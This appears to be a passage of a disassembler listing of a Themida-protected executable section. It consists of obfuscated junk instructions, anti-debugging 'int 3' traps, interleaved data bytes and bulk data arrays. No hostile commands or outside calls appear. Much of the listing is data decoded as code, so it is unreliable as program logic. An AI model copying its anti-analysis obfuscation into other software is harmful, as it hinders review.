		or	[edi+3DFB2236h], ebx
		xor	ch, [edx+3]
		push	ebp
		db	64h
		daa
sub_5D49FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4AB0	proc near		; CODE XREF: sub_5D49FD+A1p
		pop	ebx
		and	bh, 71h
		mov	di, 0CEAh
		mov	di, 696Fh
		jp	loc_5D4AD2


loc_5D4AC2:				; CODE XREF: sub_5D4AB0+20j
		jmp	loc_5D4AD2
; ---------------------------------------------------------------------------
		db 21h
		dd 8DA85874h, 0EBC1B9D0h
; ---------------------------------------------------------------------------
		jo	short loc_5D4AC2


loc_5D4AD2:				; CODE XREF: sub_5D4AB0+Cj
					; sub_5D4AB0:loc_5D4AC2j
		sbb	esi, 2BE7D494h
		or	dl, 4Fh
		jnz	loc_5D4AE3
		mov	cl, 5Eh


loc_5D4AE3:				; CODE XREF: sub_5D4AB0+2Bj
		mov	ah, 0D8h
		push	ebx
		jmp	loc_5D4AFF	; CODE XREF: sub_5D4B16+Fj
; ---------------------------------------------------------------------------
		fld	qword ptr cs:1630129Fh
		xchg	eax, edx
		adc	[edx+514C297h],	bl
		mov	al, ds:762B7CDFh
		push	cs


loc_5D4AFF:				; CODE XREF: sub_5D4AB0+36j
		pop	edi
		or	bx, 395Fh
		call	sub_5D4B16
		retn	0DBB4h
sub_5D4AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 42h,	0E2h, 0C5h
		dd 0F3B3A438h
		db 49h,	6Fh

; =============== S U B	R O U T	I N E =======================================



sub_5D4B16	proc near		; CODE XREF: sub_5D4AB0+55p
		call	sub_5D4B2F
		mov	dl, 72h
		and	[eax+1Fh], dh
		xchg	al, [ebx-52h]
		sbb	bl, bh
		jnb	short near ptr loc_5D4AE6+4
		cmp	bl, ds:0FD71108Fh
		sub	esi, ecx
sub_5D4B16	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D4B2F	proc near		; CODE XREF: sub_5D4B16p
		jmp	sub_5D4B3A
sub_5D4B2F	endp

; ---------------------------------------------------------------------------
		dd 0D3B1A725h
		db 3Ah,	0Dh

; =============== S U B	R O U T	I N E =======================================



sub_5D4B3A	proc near		; CODE XREF: sub_5D4B2Fj
		pop	ecx
		pop	edi
		movzx	ecx, di
		jmp	loc_5D4B4A
; ---------------------------------------------------------------------------
		retn	0A64Eh
; ---------------------------------------------------------------------------
		db 58h
		db 9Ah,	0CFh
; ---------------------------------------------------------------------------


loc_5D4B4A:				; CODE XREF: sub_5D4B3A+5j
		add	dx, 4FAh
		or	esi, 57BD2E5Bh
		cmc
		jle	loc_5D4B75
		jns	loc_5D4B75
		call	sub_5D4B74
		cmp	eax, 0EEB07C1h
		xchg	eax, esi
		cmpsb
		rcr	byte ptr [eax-3EFE1651h], 1
sub_5D4B3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4B74	proc near		; CODE XREF: sub_5D4B3A+28p
		pop	ebx


loc_5D4B75:				; CODE XREF: sub_5D4B3A+1Cj
					; sub_5D4B3A+22j
		mov	edx, 740DA7EBh
		jmp	loc_5D4B85
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D06BBFF9h
; ---------------------------------------------------------------------------
		xlat


loc_5D4B85:				; CODE XREF: sub_5D4B74+6j
		mov	edi, 73A2E2A0h
		adc	esi, 7F3EC253h
		mov	esi, 45DF8EF1h
		or	dx, 496h
		mov	ch, dl
		pusha
		adc	dl, 7
		mov	edx, ecx
		popa
		add	dx, 547Fh
		pusha
		pusha
		jmp	loc_5D4BB5
; ---------------------------------------------------------------------------
		db 75h
		dd 19FC3456h
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5D4BB5:				; CODE XREF: sub_5D4B74+36j
		stc
		popa
		pusha
		mov	dx, 12C0h
		pusha
		popa
		popa
		popa
		clc
		movzx	ecx, ax
		cmc
		call	near ptr loc_5D4BD6+1
		or	eax, 8B40E72Fh
		das
		xchg	eax, ebp
		adc	[edi], al
		xor	[ebp-31h], dh


loc_5D4BD6:				; CODE XREF: sub_5D4B74+51p
		adc	[ecx-7Fh], edx
sub_5D4B74	endp ; sp-analysis failed

		call	near ptr 71D77487h
		pop	ebx
		pop	ebx
		mov	cx, dx
		and	bx, 6D9Ch
		jg	loc_5D4BF1
		movzx	edx, si


loc_5D4BF1:				; CODE XREF: Themida_:005D4BE8j
		stc
		sub	esi, 5E9F7308h
		cld
		mov	bx, ax
		jmp	loc_5D4C12	; CODE XREF: Themida_:005D4C2Ej
; ---------------------------------------------------------------------------
		db 26h,	8, 3Dh
		dd 8FB3E071h, 0FC498E56h, 37BC435Ch
; ---------------------------------------------------------------------------
		sub	esp, ebx


loc_5D4C12:				; CODE XREF: Themida_:005D4BFCj
		mov	eax, edx
		clc
		or	si, 0B622h
		movsx	ecx, cx
		call	sub_5D4C34
		lahf
		sub	dl, [edi]
		inc	ebp
		imul	ebp, 1D2B02Ch
		xchg	eax, esp
		in	al, dx
		jecxz	short near ptr loc_5D4BFC+2
		les	ecx, [ebp+ebp-59h]

; =============== S U B	R O U T	I N E =======================================



sub_5D4C34	proc near		; CODE XREF: Themida_:005D4C1Dp
		push	esi
		sub	ebx, 6FDF4FA9h
		pop	ecx
		pop	edi
		jmp	loc_5D4C4B
; ---------------------------------------------------------------------------
		dw 0C728h
		dd 127BA7EFh
; ---------------------------------------------------------------------------
		adc	al, 0D5h
		push	eax


loc_5D4C4B:				; CODE XREF: sub_5D4C34+9j
		mov	al, 17h
		sbb	edx, 388B8EC8h
		jmp	loc_5D4C6C
; ---------------------------------------------------------------------------
		dd 47189AA3h, 0F4D540D1h, 7C9CAE3Fh, 3A125976h,	0A2DFE6B6h
; ---------------------------------------------------------------------------


loc_5D4C6C:				; CODE XREF: sub_5D4C34+1Fj
		movzx	eax, dx
		jge	loc_5D4C77
		mov	ecx, edi


loc_5D4C77:				; CODE XREF: sub_5D4C34+3Bj
		jmp	loc_5D4C87
; ---------------------------------------------------------------------------
		dd 0AAC45CEFh, 0AE47FF1Dh
		db 0F4h, 7Eh, 56h
; ---------------------------------------------------------------------------


loc_5D4C87:				; CODE XREF: sub_5D4C34:loc_5D4C77j
		mov	di, 208Ch
		call	sub_5D4CA3
		in	eax, dx
		imul	ebp, [esi], -1Fh
		inc	edi
		sal	byte ptr [ebx],	1
		test	eax, 17478B4h
		cmpsb
		sbb	[ecx], ecx
		sub	al, 4Ch
		mov	ch, 2Ch
sub_5D4C34	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4CA3	proc near		; CODE XREF: sub_5D4C34+57p
		and	ah, 0EAh
		pop	esi
		jo	loc_5D4CB0
		and	ch, 0DAh


loc_5D4CB0:				; CODE XREF: sub_5D4CA3+4j
		pusha
		jmp	loc_5D4CC4
; ---------------------------------------------------------------------------
		dw 0AC31h
		dd 94EC37E7h, 183988E9h, 0F1CEA69Ch
; ---------------------------------------------------------------------------


loc_5D4CC4:				; CODE XREF: sub_5D4CA3+Ej
		movzx	ecx, ax
		popa
		pusha
		xor	dx, 6764h
		popa
		mov	ah, 65h
		jg	loc_5D4CDA
		adc	dh, 0AFh


loc_5D4CDA:				; CODE XREF: sub_5D4CA3+2Ej
		mov	bx, ax
		push	edx
		mov	dh, 0A1h
		pop	esi
		call	near ptr sub_5D4CF0
		adc	bl, dh
		dec	esi
		push	17h
		test	[edx+29h], esi
		and	al, 0E3h
sub_5D4CA3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4CF0	proc far		; CODE XREF: sub_5D4CA3+3Ep

; FUNCTION CHUNK AT 005D4DD3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005D4DF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D4E00 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005D4E19 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005D4E33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D4E48 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005D4E7B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005D4E8C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005D4EAF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005D4ECB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005D4EE0 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 005D4F71 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005D4F8A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005D4FA1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005D4FD2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005D5002 SIZE 00000022 BYTES

		mov	cl, 14h
		pop	ecx
		stc
		jmp	loc_5D4D07
; ---------------------------------------------------------------------------
		db 0D5h, 43h, 47h
		dd 0D2A55052h, 317C4DA4h
		db 29h,	0B9h, 78h
; ---------------------------------------------------------------------------


loc_5D4D07:				; CODE XREF: sub_5D4CF0+4j
		movsx	ecx, dx
		mov	edx, edi
		jmp	loc_5D4D1E
; ---------------------------------------------------------------------------
		clc
		sub	bh, [edx]
		push	ds
		cmp	[esi+3Ah], esp
		mov	ds:90FC5D66h, al
		aaa


loc_5D4D1E:				; CODE XREF: sub_5D4CF0+1Cj
		jmp	loc_5D4D30
; ---------------------------------------------------------------------------
		db 91h
		dd 40DF948Ah, 0E85F0A53h, 21866D22h
; ---------------------------------------------------------------------------


loc_5D4D30:				; CODE XREF: sub_5D4CF0:loc_5D4D1Ej
		mov	edx, 5B7E5553h
		jmp	loc_5D4D3F
; ---------------------------------------------------------------------------
		mov	ah, 51h
		test	ecx, esp
		dec	esi


loc_5D4D3F:				; CODE XREF: sub_5D4CF0+45j
		clc
		push	ebx
		mov	ebx, esi
		pop	edx
		jmp	loc_5D4D5D
; ---------------------------------------------------------------------------
		db 31h,	6Ah, 80h
		dd 0C07A279Fh, 0DD58BF6h, 4B57188Ah
; ---------------------------------------------------------------------------
		cld
		inc	esi
		retf
; ---------------------------------------------------------------------------
byte_5D4D5B	db 62h			; DATA XREF: ___:off_431970o
; ---------------------------------------------------------------------------
		movsd


loc_5D4D5D:				; CODE XREF: sub_5D4CF0+54j
		jmp	loc_5D4D76
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		adc	[eax], cl
		ja	short loc_5D4DD3
		or	dl, dl
		retn
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 49h
		dd 0AE67C4F7h, 0E8D98AD4h
		db 0ECh, 0D7h
; ---------------------------------------------------------------------------


loc_5D4D76:				; CODE XREF: sub_5D4CF0:loc_5D4D5Dj
		pusha
		sbb	dx, 0FA10h
		jo	$+6
		popa
		call	sub_5D4D99
		xchg	eax, ebp
		mov	edi, 81B0D197h
		adc	al, 92h
		push	ss
		int	3		; Trap to Debugger
		mov	cl, 4Ah
		sbb	eax, 0A7CA855Fh
sub_5D4CF0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4D99	proc near		; CODE XREF: sub_5D4CF0+93p
		xor	cl, 0D6h
		pop	edi
		call	near ptr loc_5D4DA4+3
		inc	ebp
		int	3		; Trap to Debugger


loc_5D4DA4:				; CODE XREF: sub_5D4D99+4p
		mov	fs, word ptr [edi+0CE990h]
sub_5D4D99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		test	eax, 29DE8730h
		cmp	[eax-21EC246Dh], bh
		popf
		pop	edi
		jmp	loc_5D4DCB
; ---------------------------------------------------------------------------
		dw 1EB1h
		dd 6FA537E6h, 8E32D924h
		db 2Dh,	0C1h, 17h
; ---------------------------------------------------------------------------


loc_5D4DCB:				; CODE XREF: Themida_:005D4DB9j
		mov	bx, cx
		mov	edi, eax
; ---------------------------------------------------------------------------
		db 66h,	0BFh, 0F7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4DD3:				; CODE XREF: sub_5D4CF0+75j
		rep jns	loc_5D4DE4
		jno	loc_5D4DE4
		mov	bx, 0A8B6h


loc_5D4DE4:				; CODE XREF: sub_5D4CF0:loc_5D4DD3j
					; sub_5D4CF0+EAj
		clc
		xor	dx, 0F5B6h
		jmp	loc_5D4DF6
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 95h
		dd 15A655h
		db 1, 0BAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4DF6:				; CODE XREF: sub_5D4CF0+FAj
		jmp	loc_5D4E00
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 4Ah
		dd 56DBA8C6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4E00:				; CODE XREF: sub_5D4CF0:loc_5D4DF6j
		mov	bx, 6C82h
		pusha
		jmp	loc_5D4E19
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dw 3DE2h
		dd 6B811153h, 0E1EE0562h, 0E93EB987h
		db 82h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4E19:				; CODE XREF: sub_5D4CF0+115j
		mov	si, cx
		popa
		mov	edx, 2EE622BCh
		jmp	loc_5D4E33
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		pop	ds
		test	[edx+ebx*4], dh
		mov	ds:0C2D7DB87h, eax
		aam	0CEh
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4E33:				; CODE XREF: sub_5D4CF0+132j
		jmp	loc_5D4E48
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dd 18ACB4BDh, 0A44A8ED9h, 7FD81845h, 17A52FDBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4E48:				; CODE XREF: sub_5D4CF0:loc_5D4E33j
		push	ecx
		pusha
		jl	$+6
		mov	edi, 78B24010h
		popa
		pop	ecx
		or	esi, 55DBEE4Ch
		push	edi
		movsx	edx, di
		pop	edx
		movzx	ecx, ax
		mov	ax, 829h
		adc	ch, 51h
		jmp	loc_5D4E7B
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 54h,	89h, 63h
		dd 0AE566FA7h
		db 55h,	0E1h, 5Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4E7B:				; CODE XREF: sub_5D4CF0+17Cj
		cld
		jmp	loc_5D4E8C
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 12h,	0A1h, 1Ah
		dd 0E26236DFh, 71A82CA5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4E8C:				; CODE XREF: sub_5D4CF0+18Cj
		sbb	bl, 34h
		and	edi, 4F841E81h
		jl	loc_5D4E9F
		mov	si, 4659h


loc_5D4E9F:				; CODE XREF: sub_5D4CF0+1A5j
		jmp	loc_5D4EAF
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dd 5DC1B3B2h, 0E919C6BDh
		db 0DBh, 61h, 18h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4EAF:				; CODE XREF: sub_5D4CF0:loc_5D4E9Fj
		movzx	esi, bx
		movsx	eax, si
		add	si, 299Fh
		jmp	loc_5D4ECB
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 0F2h
		dd 88522FF2h, 6D85E878h
		db 0DFh, 23h, 4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4ECB:				; CODE XREF: sub_5D4CF0+1CAj
		mov	cx, 9762h
		jno	loc_5D4EE0
		jmp	loc_5D4EE0
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		aad	4Bh
		cli
		sbb	eax, [edx-5Eh]
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4EE0:				; CODE XREF: sub_5D4CF0+1DFj
					; sub_5D4CF0+1E5j
		mov	ecx, 3CB01DEh
		mov	esi, 6B44E831h
		mov	cx, ax
		pusha
		adc	cx, 62A0h
		jns	loc_5D4EFF
		xor	edi, 707BEA5Eh


loc_5D4EFF:				; CODE XREF: sub_5D4CF0+203j
		popa
		push	esi
		pusha
		stc
		jns	$+6
		popa
		pop	eax
		pusha
		jg	loc_5D4F18
		jz	$+6


loc_5D4F18:				; CODE XREF: sub_5D4CF0+21Cj
		jp	loc_5D4F21
		movzx	edx, bx


loc_5D4F21:				; CODE XREF: sub_5D4CF0:loc_5D4F18j
		popa
		cmc
		jp	$+6
		mov	ecx, eax
		jbe	loc_5D4F37
		or	esi, 11E03234h


loc_5D4F37:				; CODE XREF: sub_5D4CF0+23Bj
		mov	di, 0A23Eh
		xor	cx, 7264h
		mov	ebx, 259C4109h
		cmc
		push	eax
		jnp	loc_5D4F50
		movsx	edx, si


loc_5D4F50:				; CODE XREF: sub_5D4CF0+257j
		pop	ebx
		clc
		pusha
		cmc
		popa
		mov	cx, ax
		mov	dx, si
		mov	di, 90C6h
		mov	si, 0A702h
		jmp	loc_5D4F71
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dd 0E4BECD47h, 4E86B0C0h
		db 0A2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4F71:				; CODE XREF: sub_5D4CF0+273j
		movzx	ebx, ax
		or	ebx, 769F32AFh
		clc
		jmp	loc_5D4F8A
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dd 49ED74B4h, 74716991h
		db 68h,	2Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4F8A:				; CODE XREF: sub_5D4CF0+28Bj
		pusha
		push	edx
		push	edx
		pop	eax
		pop	ecx
		stc
		popa
		jmp	loc_5D4FA1
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dw 626Dh
		dd 0FD735DE7h, 44128B25h
		db 0E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4FA1:				; CODE XREF: sub_5D4CF0+2A1j
		push	eax
		pop	edx
		mov	edx, 0F4A011Fh
		push	edi
		mov	dx, cx
		pop	eax
		mov	si, 1889h
		mov	ecx, esi
		xor	esi, 479DFDAEh
		mov	si, di
		jmp	loc_5D4FD2
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		db 80h,	0A1h, 0B8h
		dd 4A1D1732h, 0DA9DE491h, 80222DA9h
		db 27h,	75h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D4FD2:				; CODE XREF: sub_5D4CF0+2CCj
		mov	al, 4
		pusha
		movzx	ecx, si
		mov	cx, 77C8h
		popa
		jl	loc_5D4FE6
		adc	ah, 2Dh


loc_5D4FE6:				; CODE XREF: sub_5D4CF0+2EDj
		mov	si, bx
		jmp	loc_5D5002
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dw 66AAh
		dd 4E6DBAD5h, 0D0DD6BFh, 0B8A048B2h, 8C62F0ABh
		db 0BAh, 5Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4CF0


loc_5D5002:				; CODE XREF: sub_5D4CF0+2F9j
		jnb	loc_5D500B
		sbb	bl, 16h


loc_5D500B:				; CODE XREF: sub_5D4CF0:loc_5D5002j
		call	near ptr loc_5D501E+3
		add	esi, edi
		scasd
		aas
		rep xchg eax, ebp
		mov	esp, 23956881h
		cmp	bh, [ebp+54h]


loc_5D501E:				; CODE XREF: sub_5D4CF0:loc_5D500Bp
		add	[esi+0CE94Dh], eax
; END OF FUNCTION CHUNK	FOR sub_5D4CF0
; ---------------------------------------------------------------------------
		dd 14D80000h, 7E523D5Bh, 4E067E24h, 0F5AE322h, 178Fh, 12E900h
		dd 94B90000h, 252D904h,	0C6A2DA8Ch, 963FECB0h, 96839625h
		dd 0BC05C1BAh, 28F0F5Ch, 0B2000000h, 0E9F78B7Ah, 14h, 68286FF9h
		dd 0EE888882h, 74C66E2Eh, 67F79287h, 883301ABh,	281EBA66h
		dd 0BE860h, 92590000h, 0F62A3C69h, 33DA9F3Dh, 5FD0B59Bh
		dd 68E0Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		popa
		push	esi
		pusha
		jns	$+6
		mov	dh, 0CBh
		popa
		pop	edx
		jmp	loc_5D50BB
; ---------------------------------------------------------------------------
		dw 19E6h
		dd 7B27D6C9h, 5FDA4392h
; ---------------------------------------------------------------------------
		cmp	[esi], bl
		das


loc_5D50BB:				; CODE XREF: Themida_:005D50A9j
		mov	si, 0AE81h
		jz	loc_5D50C9
		mov	ax, 1F4Eh


loc_5D50C9:				; CODE XREF: Themida_:005D50BFj
		pusha
		movzx	eax, cx
		clc
		popa
		jl	loc_5D50DA
		add	dx, 571Eh


loc_5D50DA:				; CODE XREF: Themida_:005D50CFj
		mov	eax, edx
		or	dx, 235h
		cld
		pusha
		mov	bx, di
		xor	bx, 0A645h
		popa
		movzx	ebx, dx
		stc
		adc	cl, 0Bh
		jmp	loc_5D5106
; ---------------------------------------------------------------------------
		lodsb
		lahf
		mov	bl, 9Ch
		jnb	short loc_5D5110
		mov	esp, 982CF574h
		mov	esp, edi
		lodsb


loc_5D5106:				; CODE XREF: Themida_:005D50F3j
		cld
		jmp	loc_5D5111
; ---------------------------------------------------------------------------
		cmp	bh, [esp+esi*8+44h]


loc_5D5110:				; CODE XREF: Themida_:005D50FCj
		push	eax


loc_5D5111:				; CODE XREF: Themida_:005D5107j
		movsx	edx, dx
		mov	ax, cx
		cmc
		jnz	loc_5D512F
		jmp	loc_5D512F
; ---------------------------------------------------------------------------
		db 0A4h
		dd 507CB6D0h, 58EA802Fh
		db 0CEh, 73h, 0A4h
; ---------------------------------------------------------------------------


loc_5D512F:				; CODE XREF: Themida_:005D5118j
					; Themida_:005D511Ej
		jb	loc_5D5141
		jb	loc_5D5141
		xor	edi, 53A5C0D3h


loc_5D5141:				; CODE XREF: Themida_:loc_5D512Fj
					; Themida_:005D5135j
		mov	al, cl
		js	loc_5D514D
		mov	dx, 8D0Bh


loc_5D514D:				; CODE XREF: Themida_:005D5143j
		jns	loc_5D5157
		mov	si, 4213h


loc_5D5157:				; CODE XREF: Themida_:loc_5D514Dj
		mov	eax, 77EED56Eh
		mov	eax, 0C816542h
		mov	di, 0C0A8h
		add	eax, 1DA211E2h
		stc
		pusha
		pusha
		pusha
		popa
		xor	bx, 1EDAh
		popa
		push	ecx
		pusha
		popa
		pop	eax
		popa
		jl	loc_5D518B
		jns	loc_5D518B
		mov	cx, 0FBC6h


loc_5D518B:				; CODE XREF: Themida_:005D517Bj
					; Themida_:005D5181j
		mov	ebx, 5350CE4h
		cld
		mov	dl, 0D3h
		push	edi
		sub	cl, 0F7h
		pop	edx
		pusha
		mov	di, cx
		popa
		stc
		jbe	loc_5D51B9
		pusha
		jmp	loc_5D51B8
; ---------------------------------------------------------------------------
		mov	ds:0D824101Ch, eax
		jmp	short loc_5D522A
; ---------------------------------------------------------------------------
		sub	byte ptr [edi-33A7672Dh], 33h


loc_5D51B8:				; CODE XREF: Themida_:005D51A5j
		popa


loc_5D51B9:				; CODE XREF: Themida_:005D519Ej
		mov	dx, 534Bh
		cmc
		jmp	loc_5D51D6
; ---------------------------------------------------------------------------
		test	dword ptr [ebx+0D59DB01h], 522869C6h
		sti
		lea	edx, [ecx-4FAE265Bh]
		add	edx, ecx


loc_5D51D6:				; CODE XREF: Themida_:005D51BEj
		jns	loc_5D51E1
		sub	dx, 3425h


loc_5D51E1:				; CODE XREF: Themida_:loc_5D51D6j
		cld
		mov	esi, eax
		mov	cx, bx
		jns	loc_5D5204
		call	near ptr loc_5D51FE+3
		cmp	al, 5Dh
		or	bh, [ecx+10CD1DBh]
		push	cs
		dec	esp
		jg	short loc_5D522D


loc_5D51FE:				; CODE XREF: Themida_:005D51EDp
		cmp	ds:5ADE8B8Fh, esp


loc_5D5204:				; CODE XREF: Themida_:005D51E7j
		mov	bx, 7EDEh
		jbe	loc_5D5212
		mov	di, 0D888h


loc_5D5212:				; CODE XREF: Themida_:005D5208j
		xor	cx, 0EF88h
		mov	dx, 70A6h
		call	sub_5D5231
; ---------------------------------------------------------------------------
		dd 2C37A7FBh, 9D13F062h
; ---------------------------------------------------------------------------
		inc	edi


loc_5D522A:				; CODE XREF: Themida_:005D51AFj
		pushf
		inc	edi
		movsd


loc_5D522D:				; CODE XREF: Themida_:005D51FCj
		call	fword ptr [edi]
		pop	edi
		pop	ss

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D5231	proc near		; CODE XREF: Themida_:005D521Bp
		or	di, 65DFh
		pop	edi
		and	ax, 9171h
		mov	dx, 822h
		mov	si, bx
		adc	ecx, 33B128DEh
		call	sub_5D525D
sub_5D5231	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 1B4Ch
		dd 47AEF8ECh, 0E024D817h, 0B377552Ch
		db 0F4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D525D	proc near		; CODE XREF: sub_5D5231+18p
		pop	edi
		pusha
		jmp	loc_5D5278
; ---------------------------------------------------------------------------
		dd 2B6BD8A4h, 58B79C17h, 3DCC4215h, 1EEEB8EDh, 690F8385h
; ---------------------------------------------------------------------------


loc_5D5278:				; CODE XREF: sub_5D525D+2j
		jl	loc_5D5281
		sub	bl, 0BAh


loc_5D5281:				; CODE XREF: sub_5D525D:loc_5D5278j
		popa
		jmp	loc_5D5291
; ---------------------------------------------------------------------------
		db 0AFh
		dd 382C5ACh, 0A0043D6Dh
		db 24h
; ---------------------------------------------------------------------------


loc_5D5291:				; CODE XREF: sub_5D525D+25j
		movzx	esi, bx
		mov	bl, 3
		push	esi
		mov	ebx, edi
		pop	ecx
		mov	si, bx
		push	edi
		pop	esi
		xor	di, 0D248h
		jmp	loc_5D52B5
; ---------------------------------------------------------------------------
		db 0B8h, 0A8h, 6Dh
		dd 9F676B44h, 4EA91D44h
		db 3
; ---------------------------------------------------------------------------


loc_5D52B5:				; CODE XREF: sub_5D525D+47j
		clc
		jmp	near ptr 0EA54E12Eh
sub_5D525D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 73h
		dd 0F6h	dup(73E9F78Eh),	64h dup(7C6B23D1h), 3E6B23D1h
		dd 2C5h	dup(3DFA2CBAh),	8CFA2CBAh, 2B1h	dup(8DC46B15h)
		dd 7007E315h, 346h dup(7007E35Ah), 276h	dup(0AB5A2D01h)
		dd 38C09701h, 27h dup(38C0978Dh), 747h dup(0CCCCCCCCh)
		dd 0CCh, 1B52h dup(0)
Themida_	ends

; Section 5. (virtual address 001E1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5E1000h
		align 2000h
_idata2		ends


		end start